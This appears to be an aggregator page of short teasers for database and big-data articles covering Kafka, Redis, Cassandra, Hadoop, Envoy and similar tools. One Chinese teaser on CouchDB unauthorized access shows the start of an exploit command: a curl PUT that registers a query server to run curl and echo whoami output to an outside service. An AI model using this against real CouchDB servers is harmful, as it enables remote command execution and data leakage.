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使用 Apache Kafka 和微服务实时分析 Twitter 趋势，第 3 部分: 将检索到的推文存储到 ...
本文英文原文源自 James Thomas 在 IBM Bluemix Dev 社区的专栏。 在前面的文章中，我们介绍了 Match Tracker 的后端架构，该架构可以实时处理有关足球比赛的数千条推文。任务处理管道中的最后一个阶段――推文处理微服务（Tweet Processing Microservice）会将检索到的推文存储到 Cloudant 数据库中。 图 1. 开源演示应用程序...
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Distributed Tasks Execution and Scheduling in Java, Powered By Redis
The ability to immediately execute or schedule a task or job is becoming a typical requirement for a modern distributed Java application. Such requirements have became more essential for those who also...
View ArticleVoron Internals: The diff is the way
I talked about thegoals of using diffs for the journals in a previous post, but in this one, I want to talk about what it actually did . To start with, it turn out that using diffs in the journal...
View ArticleLots of Long transaction caused by database link, and undo hdr show DBA for...
部署GOLDENGATE时发现，当前库中存在较多的长事务，在v$transaction中显示状态一直是ACTIVE, 对于长事务的对OGG的BR或启动抽取位置有较大影响， 奇怪的是这些长事务的起动时间甚至都有3天以上，而且当前会话状态已是INACITVE.而且查看UNDO SEGMENT HEADER上对应的SLOT 的DBA是0x00000000。 ANBOB@SQL> SELECT...
View ArticleMatt Mills Appointed CEO of MapR Technologies
Founder John Schroeder named Executive Chairman of the Board SAN JOSE, Calif. (BUSINESS WIRE) September 8, 2016 MapR Technologies, Inc. , provider of the industry’s only Converged Data Platform, today...
View Article[Cassandra经验谈]select count(*) 超时
1、为什么需要这个？ 在向Cassandra中插入一些数据之后，往往想知道插入了多少条记录，这个时候可以通过select count(*) from test_table来进行查询。 当数据比较少的时候，该cql语句能正确得到查询结果，但是当插入的记录条数比较多的时候，非常容易导致超时。在命令行中有下面的提示 OperationTimedOut: errors={},...
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Munich Re combines SAS with Hortonworks Hadoop to explore new business
Munich Re, a German re-insurance company, has installed a data platform using a Hadoop distribution from Hortonworks and some analytics technology from SAS to modernise its business. The big data...
View ArticleCLOUDERA + NIARA: ENTERPRISE-CLASS Network and User Behavior analytics
For an elephant, Hadoop moves pretty quickly. However, unlike an elephant, Hadoop hardly resembles a monolithic behemoth. Individual modules update asynchronously and new functionality is continuously...
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Welcoming change: how decoupling can make your application more flexible
One of the most difficult things when starting a new project is choosing the technology stack to use. Should you use a NoSQL database? Key-value, document-oriented or graph-based? What about using a...
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An introduction to Ambari Views 2.4 new feature- Remote cluster configuration
Originally posted in HCC . Ambari Views Server is the Standalone Ambari Server used for hosting Views and Ambari Server is the Operational Ambari Server which manages a Hadoop Cluster Before Ambari...
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DBA线上操作要知道的那些事
根据莫非定律1：「凡是可能出错的事必定会出错，任何一个事件，只要具有大于零的机率，就不能够确定它不会发生。」这句看似箴言的话，想必每个运维从业人员感触非常深刻。本文从 DBA 线上操作的角度，谈谈自己的看法。 工作日，DBA 会处理大批工单;非工作日，DBA 在时刻准备着救急。亦即，DBA 每时每刻都有线上操作的需要。那么问题来了，个人的状态是不定的，包括心理状态、身体状态。时刻保证临危不乱，这是...
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Neo4j + KeyLines: The Developer’s Route out of Dependency Hell [Community Post]
ByMiro Marchi, Technical Associate, Cambridge Intelligence | September 14, 2016 [As community content, this post reflects the views and opinions of the particular author and does not necessarily...
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Announcing Envoy: C++ L7 proxy and communication bus
Today we are incredibly excited to open source Envoy , our high performance C++ distributed proxy and communication bus designed for large service oriented architectures. The project was born out of...
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Jean-Jerome Schmidt: New ClusterControl subscriptions for managing MySQL,...
We’ve got your databases covered: check out our new pricing plans for ClusterControl, the single console to deploy, monitor and manage your entire database infrastructure. Whether you’re looking to...
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Skool: An Open Source Data Integration Tool for Apache Hadoop from British...
In this guest post, Skool’s architects at British Telecom (BT) explain its origins, design, and functionality. With increased adoption of big data comes the challenge of integrating existing data...
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Couchdb未授权访问可执行系统命令（利用cloudeye神器回显）
前几天booooom在群里发了个couchdb执行系统命令的word 学习了一下，记录下 新增query_server配置，这里执行curl+回显whoami命令 Curl -X PUT 'http://xx.xx.xxx.xx:5984/_config/query_servers/cmd' -d '"curl...
View ArticleCloudera partners Niara to hasten threat detection and recovery
Cloudera, the global provider of data management and analytics platform built on Apache Hadoop , announced today that it has entered into an agreement with Niara, a player in user and entity behavior...
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A Data Catalog for a Modern Data Architecture
A Data Catalog for a Modern Data Architecture Wayne Eckerson points out in a recent report that, "Business intelligence (Bl) is fueled by two opposing forces: top-down BI, in which the corporate IT...
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How to Get Started with Spark Streaming and MapR Streams Using the Kafka API
This post will help you get started using Apache Spark Streaming for consuming and publishing messages with MapR Streams and the Kafka API.Spark Streaming is an extension of the core Spark API that...
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Considerations of Hadoop in the Enterprise
I am guilty. I have not been tendering this blog for quite a while now, but it feels good to be back. What have I been doing? Since leaving NetApp 2 months or so ago, I have been active in the scenes...
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